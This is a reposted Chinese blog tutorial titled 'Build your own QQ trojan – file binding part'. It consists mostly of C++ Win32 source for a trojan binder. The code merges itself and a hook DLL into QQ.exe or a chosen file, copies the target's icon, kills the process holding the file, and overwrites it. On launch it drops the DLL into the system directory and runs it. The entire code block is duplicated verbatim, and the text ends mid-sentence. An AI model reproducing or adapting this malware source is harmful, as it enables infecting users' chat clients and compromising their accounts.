自己动手做QQ木马--文件绑定篇(转)
代码如下: //根据返回值判断是否继续执行本文件 bool CBindFile::Initiate() { int i = 0, k = 0; DWORD dwErrorCode = 0; DWORD dwFileLen = GetFileSize(hFileMyself, NULL); //此外加入捆绑器程序的最终大小,来判断是绑定文件还是分解执行文件 if(dwFileLen == lenOrigin) { //去绑定HOOK.dll strToBindFilePath = "hook.dll"; strFinalFilePath = "Server.exe"; lstrcpy(m_Ext, "dll"); if(Bind_File()) { //成功绑定 MessageBox(NULL, "绑定成功!", NULL, NULL); } return false; } else if(dwFileLen == lenOriginAddDll) { //去绑定目标文件 //判断本文件是否是server.exe文件 char szName[7] = {0}; int i = lstrlen(my_name)-10; for(k=0; k<6; k++,i++) { szName[k] = my_name[i]; } if(0 != lstrcmp(szName, "SERVER")) { //自动去绑定QQ.exe,可以通过注册表取得QQ的安装路径 strToBindFilePath = "C:\Program Files\Tencent\QQ.exe"; lstrcpy(m_Ext, "exe"); } else { //弹出对话框,等待用户输入 SelectFileToBind dlg; int nRet = -1; nRet = dlg.DoModal(); if(nRet != IDOK) { MessageBox(NULL, "None input to get bindfilename", NULL, NULL); return false; } dlg.GetFilePath(strToBindFilePath); if(strToBindFilePath.IsEmpty()) { MessageBox(NULL, "None input filename", NULL, NULL); return false; } //取得文件扩展名,设置m_Ext int pt = strToBindFilePath.GetLength()-3; for(i=0; i<3; i++) { m_Ext[i] = strToBindFilePath.GetAt(pt); pt++; } MessageBox(NULL, m_Ext, "PRINT", NULL); } strFinalFilePath = "000000.exe"; //先判断目标文件是否已经被绑定过 HANDLE hDestFile = NULL; DWORD bytesin = 0; hDestFile = CreateFile(strToBindFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(INVALID_HANDLE_VALUE == hDestFile) { MessageBox(NULL, "判断目标文件时,该文件不打开失败!", NULL, NULL); return false; } SetFilePointer(hDestFile, GetFileSize(hDestFile, NULL)-4,NULL, FILE_BEGIN); if(0 == ReadFile(hDestFile, buf, BUF_SIZE, &bytesin, NULL)) { MessageBox(NULL, "判断目标文件时,读取该文件失败!", NULL,NULL); return false; } CloseHandle(hDestFile); if(4 != bytesin) { MessageBox(NULL, "判断目标文件中,读取的字节数不为4!",NULL, NULL); return false; } for(i=0; i<4; i++) { if((buf[i] != szFlag[i])) { break; }else if(3 == i) { //已经被绑定过,返回 MessageBox(NULL, "目标文件已经被绑定过!", NULL, NULL); return false; } } //确认没被绑定过则开始绑定 Bind_File(); //如果被绑定的文件不是EXE文件则把它修改成EXE文件 if(0 != lstrcmp(m_Ext, "exe")) { DeleteFile(strToBindFilePath); //修改文件扩展名 CString strToBindFilePath1; strToBindFilePath1 = strToBindFilePath.Left(strToBindFilePath.GetLength()-3); strToBindFilePath1 += "exe"; strToBindFilePath.Empty(); strToBindFilePath = strToBindFilePath1; } BOOL bResult; bResult = CopyFile(strFinalFilePath, strToBindFilePath, false); dwErrorCode = GetLastError(); if(32 == dwErrorCode) { //其他进程正在使用该文件,结束该进程 TCHAR szFileName_Exe[MAX_PATH]; strToBindFilePath.MakeUpper(); lstrcpy(szFileName_Exe, (LPCTSTR)strToBindFilePath); if(TRUE == CloseProcessFromName(szFileName_Exe)) { bResult = CopyFile(strFinalFilePath, strToBindFilePath, false); dwErrorCode = GetLastError(); CString str; str.Format("%d CopyFiles Error code %d", bResult, dwError); MessageBox(NULL, str, NULL, NULL); } } DeleteFile(strFinalFilePath); return false; } else { //判断是否是需要HOOK的目标文件 if(IsSpecFileName("QQ.EXE")) { //分解HOOK.dll和目标文件 TCHAR szSysPath[MAX_PATH]; ::GetSystemDirectory(szSysPath, MAX_PATH); strUnbindFilePath_Dll = szSysPath; strUnbindFilePath_Dll += "\risingq.dll"; MessageBox(NULL, strUnbindFilePath_Dll, "PRINT", NULL); Unbind_and_Run(); return true; } else { //如果本程序不是目标HOOK的文件则再分解出一个原文件SERVER运行 MessageBox(NULL, "正在运行的不是目标文件", NULL, NULL); CloneMySelf_and_Run(); return false; } } } 2. Bind_File() //绑定指定的文件生成一个合成文件 bool CBindFile::Bind_File() { HANDLE hFileOut = NULL; //最终合成文件 HANDLE hFileIn = NULL; //待绑定文件 DWORD dwFileInLen = 0; //待绑定文件长度 DWORD bytesin = 0; //一次输入的字节数 DWORD bytesout = 0; //一次输出的字节数 unsigned int i = 0, k = 0; BYTE *bufMyself = NULL; modify_data.my_length = GetFileSize(hFileMyself, NULL); if (0 == modify_data.my_length) { MessageBox(NULL, "绑定文件中,自身文件长度为零时出错!","错误", MB_OK); return false; } bufMyself = new BYTE[modify_data.my_length]; if(NULL == bufMyself) { MessageBox(NULL, "绑定文件中,分配内存失败!", NULL, NULL); return false; } ZeroMemory(bufMyself, modify_data.my_length); SetFilePointer(hFileMyself, 0, NULL, FILE_BEGIN); //读取本文件数据 if (0 == ReadFile(hFileMyself, bufMyself, modify_data.my_length, &bytesin, NULL)) { delete[] bufMyself; MessageBox(NULL, "绑定文件中,不能完全读取自身文件内容时出错!","错误", MB_OK); return false; } if(0 == lstrcmp(m_Ext, "dll")) //绑定DLL时定位自身文件大小 { for (i = 0; i < modify_data.my_length - sizeof(modify_data.finder); i += sizeof(modify_data.finder)) { for (k = 0; k < sizeof(modify_data.finder); k++) { if (bufMyself[i+k] != ((BYTE*)&modify_data.finder)[k]) break; } if (k == sizeof(modify_data.finder)) //定位并保存自身数据文件大小 { memcpy(bufMyself+ i, &modify_data, sizeof(modify_data)); break; } } if (i >= modify_data.my_length - sizeof(modify_data.finder)) { delete[] bufMyself; MessageBox(NULL, "绑定文件中,不能定位自身文件时出错!","错误", MB_OK); return false; } } //如果绑定的是PE文件则拷贝该PE文件的图标到最终的合并文件中。 if ( 0 == lstrcmp(m_Ext, "exe") ) { Modify_MyIcon(bufMyself); } //创建最终合并后的文件 hFileOut = CreateFile(strFinalFilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hFileOut) { delete[] bufMyself; MessageBox(NULL, "绑定文件中,创建绑定后生成的合成文件时出错!","错误", MB_OK); return false; } //写本文件数据到输出的文件中 WriteFile(hFileOut, bufMyself, bytesin, &bytesout, NULL); //释放存放自身文件数据的大内存,以后使用buf做缓冲区 delete[] bufMyself; //打开要绑定的文件 hFileIn = CreateFile(strToBindFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hFileIn) { MessageBox(NULL, "绑定文件中,打开第一个要绑定文件时出错!","错误", MB_OK); return false; } //取的待绑定文件长度 dwFileInLen = GetFileSize(hFileIn, NULL); if(0 == dwFileInLen) { CloseHandle(hFileIn); CloseHandle(hFileOut); MessageBox(NULL, "绑定文件中,读取要绑定文件时出错!","错误", MB_OK); return false; } //写入要绑定文件的长度到合成文件中 WriteFile(hFileOut, &dwFileInLen, sizeof(dwFileInLen), &bytesout, NULL); //写入最终分解后文件的扩展名 WriteFile(hFileOut, m_Ext, 3, &bytesout, NULL); //读取待绑定文件数据写入输出文件中 do { if(0 == ReadFile(hFileIn, buf, BUF_SIZE, &bytesin, NULL)) { CloseHandle(hFileIn); CloseHandle(hFileOut); MessageBox(NULL, "文件绑定中,读取待绑定文件字节大小不符!", NULL, NULL); return false; } WriteFile(hFileOut, buf, bytesin, &bytesout, NULL); }while(0 != bytesin); if(0 != lstrcmp(m_Ext, "dll")) { //绑定非DLL时写入该文件被绑定过的标志 if(0 == WriteFile(hFileOut, szFlag, lstrlen(szFlag), &bytesout, NULL)) { MessageBox(NULL, "绑定文件中,写入被绑定过的标志出错.",NULL, NULL); return false; } } CloseHandle(hFileIn); CloseHandle(hFileOut); return true; } 这里主要解释一下modify_data, 它是一个MODIFY_DATA结构的全局变量,其结构如下: struct MODIFY_DATA { DWORD finder; //常量(定位自身) DWORD my_length; //文件长度(自身) } modify_data = {0x78563412, 0}; 因全局变量存放在PE文件的.data数据区,只要打开文件搜索finder,就可以找到该变量在PE文件中的存放位置。 然后在该位置写入my_length的大小。以后该文件运行时modify_data就被初始化为写入的大小了。当然这种方 法是有风险的,可能存在多个finder数据
代码如下: //根据返回值判断是否继续执行本文件 bool CBindFile::Initiate() { int i = 0, k = 0; DWORD dwErrorCode = 0; DWORD dwFileLen = GetFileSize(hFileMyself, NULL); //此外加入捆绑器程序的最终大小,来判断是绑定文件还是分解执行文件 if(dwFileLen == lenOrigin) { //去绑定HOOK.dll strToBindFilePath = "hook.dll"; strFinalFilePath = "Server.exe"; lstrcpy(m_Ext, "dll"); if(Bind_File()) { //成功绑定 MessageBox(NULL, "绑定成功!", NULL, NULL); } return false; } else if(dwFileLen == lenOriginAddDll) { //去绑定目标文件 //判断本文件是否是server.exe文件 char szName[7] = {0}; int i = lstrlen(my_name)-10; for(k=0; k<6; k++,i++) { szName[k] = my_name[i]; } if(0 != lstrcmp(szName, "SERVER")) { //自动去绑定QQ.exe,可以通过注册表取得QQ的安装路径 strToBindFilePath = "C:\Program Files\Tencent\QQ.exe"; lstrcpy(m_Ext, "exe"); } else { //弹出对话框,等待用户输入 SelectFileToBind dlg; int nRet = -1; nRet = dlg.DoModal(); if(nRet != IDOK) { MessageBox(NULL, "None input to get bindfilename", NULL, NULL); return false; } dlg.GetFilePath(strToBindFilePath); if(strToBindFilePath.IsEmpty()) { MessageBox(NULL, "None input filename", NULL, NULL); return false; } //取得文件扩展名,设置m_Ext int pt = strToBindFilePath.GetLength()-3; for(i=0; i<3; i++) { m_Ext[i] = strToBindFilePath.GetAt(pt); pt++; } MessageBox(NULL, m_Ext, "PRINT", NULL); } strFinalFilePath = "000000.exe"; //先判断目标文件是否已经被绑定过 HANDLE hDestFile = NULL; DWORD bytesin = 0; hDestFile = CreateFile(strToBindFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(INVALID_HANDLE_VALUE == hDestFile) { MessageBox(NULL, "判断目标文件时,该文件不打开失败!", NULL, NULL); return false; } SetFilePointer(hDestFile, GetFileSize(hDestFile, NULL)-4,NULL, FILE_BEGIN); if(0 == ReadFile(hDestFile, buf, BUF_SIZE, &bytesin, NULL)) { MessageBox(NULL, "判断目标文件时,读取该文件失败!", NULL,NULL); return false; } CloseHandle(hDestFile); if(4 != bytesin) { MessageBox(NULL, "判断目标文件中,读取的字节数不为4!",NULL, NULL); return false; } for(i=0; i<4; i++) { if((buf[i] != szFlag[i])) { break; }else if(3 == i) { //已经被绑定过,返回 MessageBox(NULL, "目标文件已经被绑定过!", NULL, NULL); return false; } } //确认没被绑定过则开始绑定 Bind_File(); //如果被绑定的文件不是EXE文件则把它修改成EXE文件 if(0 != lstrcmp(m_Ext, "exe")) { DeleteFile(strToBindFilePath); //修改文件扩展名 CString strToBindFilePath1; strToBindFilePath1 = strToBindFilePath.Left(strToBindFilePath.GetLength()-3); strToBindFilePath1 += "exe"; strToBindFilePath.Empty(); strToBindFilePath = strToBindFilePath1; } BOOL bResult; bResult = CopyFile(strFinalFilePath, strToBindFilePath, false); dwErrorCode = GetLastError(); if(32 == dwErrorCode) { //其他进程正在使用该文件,结束该进程 TCHAR szFileName_Exe[MAX_PATH]; strToBindFilePath.MakeUpper(); lstrcpy(szFileName_Exe, (LPCTSTR)strToBindFilePath); if(TRUE == CloseProcessFromName(szFileName_Exe)) { bResult = CopyFile(strFinalFilePath, strToBindFilePath, false); dwErrorCode = GetLastError(); CString str; str.Format("%d CopyFiles Error code %d", bResult, dwError); MessageBox(NULL, str, NULL, NULL); } } DeleteFile(strFinalFilePath); return false; } else { //判断是否是需要HOOK的目标文件 if(IsSpecFileName("QQ.EXE")) { //分解HOOK.dll和目标文件 TCHAR szSysPath[MAX_PATH]; ::GetSystemDirectory(szSysPath, MAX_PATH); strUnbindFilePath_Dll = szSysPath; strUnbindFilePath_Dll += "\risingq.dll"; MessageBox(NULL, strUnbindFilePath_Dll, "PRINT", NULL); Unbind_and_Run(); return true; } else { //如果本程序不是目标HOOK的文件则再分解出一个原文件SERVER运行 MessageBox(NULL, "正在运行的不是目标文件", NULL, NULL); CloneMySelf_and_Run(); return false; } } } 2. Bind_File() //绑定指定的文件生成一个合成文件 bool CBindFile::Bind_File() { HANDLE hFileOut = NULL; //最终合成文件 HANDLE hFileIn = NULL; //待绑定文件 DWORD dwFileInLen = 0; //待绑定文件长度 DWORD bytesin = 0; //一次输入的字节数 DWORD bytesout = 0; //一次输出的字节数 unsigned int i = 0, k = 0; BYTE *bufMyself = NULL; modify_data.my_length = GetFileSize(hFileMyself, NULL); if (0 == modify_data.my_length) { MessageBox(NULL, "绑定文件中,自身文件长度为零时出错!","错误", MB_OK); return false; } bufMyself = new BYTE[modify_data.my_length]; if(NULL == bufMyself) { MessageBox(NULL, "绑定文件中,分配内存失败!", NULL, NULL); return false; } ZeroMemory(bufMyself, modify_data.my_length); SetFilePointer(hFileMyself, 0, NULL, FILE_BEGIN); //读取本文件数据 if (0 == ReadFile(hFileMyself, bufMyself, modify_data.my_length, &bytesin, NULL)) { delete[] bufMyself; MessageBox(NULL, "绑定文件中,不能完全读取自身文件内容时出错!","错误", MB_OK); return false; } if(0 == lstrcmp(m_Ext, "dll")) //绑定DLL时定位自身文件大小 { for (i = 0; i < modify_data.my_length - sizeof(modify_data.finder); i += sizeof(modify_data.finder)) { for (k = 0; k < sizeof(modify_data.finder); k++) { if (bufMyself[i+k] != ((BYTE*)&modify_data.finder)[k]) break; } if (k == sizeof(modify_data.finder)) //定位并保存自身数据文件大小 { memcpy(bufMyself+ i, &modify_data, sizeof(modify_data)); break; } } if (i >= modify_data.my_length - sizeof(modify_data.finder)) { delete[] bufMyself; MessageBox(NULL, "绑定文件中,不能定位自身文件时出错!","错误", MB_OK); return false; } } //如果绑定的是PE文件则拷贝该PE文件的图标到最终的合并文件中。 if ( 0 == lstrcmp(m_Ext, "exe") ) { Modify_MyIcon(bufMyself); } //创建最终合并后的文件 hFileOut = CreateFile(strFinalFilePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hFileOut) { delete[] bufMyself; MessageBox(NULL, "绑定文件中,创建绑定后生成的合成文件时出错!","错误", MB_OK); return false; } //写本文件数据到输出的文件中 WriteFile(hFileOut, bufMyself, bytesin, &bytesout, NULL); //释放存放自身文件数据的大内存,以后使用buf做缓冲区 delete[] bufMyself; //打开要绑定的文件 hFileIn = CreateFile(strToBindFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hFileIn) { MessageBox(NULL, "绑定文件中,打开第一个要绑定文件时出错!","错误", MB_OK); return false; } //取的待绑定文件长度 dwFileInLen = GetFileSize(hFileIn, NULL); if(0 == dwFileInLen) { CloseHandle(hFileIn); CloseHandle(hFileOut); MessageBox(NULL, "绑定文件中,读取要绑定文件时出错!","错误", MB_OK); return false; } //写入要绑定文件的长度到合成文件中 WriteFile(hFileOut, &dwFileInLen, sizeof(dwFileInLen), &bytesout, NULL); //写入最终分解后文件的扩展名 WriteFile(hFileOut, m_Ext, 3, &bytesout, NULL); //读取待绑定文件数据写入输出文件中 do { if(0 == ReadFile(hFileIn, buf, BUF_SIZE, &bytesin, NULL)) { CloseHandle(hFileIn); CloseHandle(hFileOut); MessageBox(NULL, "文件绑定中,读取待绑定文件字节大小不符!", NULL, NULL); return false; } WriteFile(hFileOut, buf, bytesin, &bytesout, NULL); }while(0 != bytesin); if(0 != lstrcmp(m_Ext, "dll")) { //绑定非DLL时写入该文件被绑定过的标志 if(0 == WriteFile(hFileOut, szFlag, lstrlen(szFlag), &bytesout, NULL)) { MessageBox(NULL, "绑定文件中,写入被绑定过的标志出错.",NULL, NULL); return false; } } CloseHandle(hFileIn); CloseHandle(hFileOut); return true; } 这里主要解释一下modify_data, 它是一个MODIFY_DATA结构的全局变量,其结构如下: struct MODIFY_DATA { DWORD finder; //常量(定位自身) DWORD my_length; //文件长度(自身) } modify_data = {0x78563412, 0}; 因全局变量存放在PE文件的.data数据区,只要打开文件搜索finder,就可以找到该变量在PE文件中的存放位置。 然后在该位置写入my_length的大小。以后该文件运行时modify_data就被初始化为写入的大小了。当然这种方 法是有风险的,可能存在多个finder数据
来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/14102/viewspace-116030/,如需转载,请注明出处,否则将追究法律责任。
转载于:http://blog.itpub.net/14102/viewspace-116030/